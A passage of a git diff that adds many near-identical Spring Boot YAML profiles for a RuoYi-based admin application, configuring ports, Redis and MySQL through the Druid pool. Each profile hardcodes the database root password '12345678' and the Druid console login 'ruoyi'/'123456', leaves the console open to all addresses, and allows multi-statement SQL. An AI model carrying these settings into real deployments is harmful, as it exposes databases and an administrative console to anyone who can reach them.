jdbc:mysql://localhost:3306/gmdoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gmmoin.yml b/ruoyi-admin/src/main/resources/application-gmmoin.yml new file mode 100644 index 0000000..16901a0 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gmmoin.yml @@ -0,0 +1,96 @@ +app: + name: gmmoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmmoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gmtoin.yml b/ruoyi-admin/src/main/resources/application-gmtoin.yml new file mode 100644 index 0000000..ffde083 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gmtoin.yml @@ -0,0 +1,96 @@ +app: + name: gmtoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmtoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-gmtoin2.yml b/ruoyi-admin/src/main/resources/application-gmtoin2.yml new file mode 100644 index 0000000..6103e1e --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-gmtoin2.yml @@ -0,0 +1,96 @@ +app: + name: gmtoin2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmtoin2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-hfm.yml b/ruoyi-admin/src/main/resources/application-hfm.yml new file mode 100644 index 0000000..d242d80 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-hfm.yml @@ -0,0 +1,96 @@ +app: + name: hfm +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/hfm?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-hfm2.yml b/ruoyi-admin/src/main/resources/application-hfm2.yml new file mode 100644 index 0000000..f4e6ca2 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-hfm2.yml @@ -0,0 +1,95 @@ +app: + name: hfm2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/hfm2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-idsst.yml b/ruoyi-admin/src/main/resources/application-idsst.yml new file mode 100644 index 0000000..0b843a5 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-idsst.yml @@ -0,0 +1,95 @@ +app: + name: idsst +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/idsst?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-kabit.yml b/ruoyi-admin/src/main/resources/application-kabit.yml new file mode 100644 index 0000000..edf4c3f --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-kabit.yml @@ -0,0 +1,96 @@ +app: + name: kabit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/kabit?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-latcoin.yml b/ruoyi-admin/src/main/resources/application-latcoin.yml new file mode 100644 index 0000000..4109fef --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-latcoin.yml @@ -0,0 +1,96 @@ +app: + name: latcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/latcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-math.yml b/ruoyi-admin/src/main/resources/application-math.yml new file mode 100644 index 0000000..cea0eee --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-math.yml @@ -0,0 +1,96 @@ +app: + name: math +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/math?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-paxpay.yml b/ruoyi-admin/src/main/resources/application-paxpay.yml new file mode 100644 index 0000000..8cb90a7 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-paxpay.yml @@ -0,0 +1,96 @@ +app: + name: paxpay +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/paxpay?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: debug + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-robinhood2.yml b/ruoyi-admin/src/main/resources/application-robinhood2.yml new file mode 100644 index 0000000..995042e --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-robinhood2.yml @@ -0,0 +1,95 @@ +app: + name: robinhood2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 3 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/robinhood2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-rxce.yml b/ruoyi-admin/src/main/resources/application-rxce.yml new file mode 100644 index 0000000..a9bbda9 --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-rxce.yml @@ -0,0 +1,95 @@ +app: + name: rxce +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 16 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/rxce?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-admin/src/main/resources/application-spark.yml b/ruoyi-admin/src/main/resources/application-spark.yml new file mode 100644 index 0000000..663452c --- /dev/null +++ b/ruoyi-admin/src/main/resources/application-spark.yml @@ -0,0 +1,95 @@ +app: + name: spark +# 开发环境配置 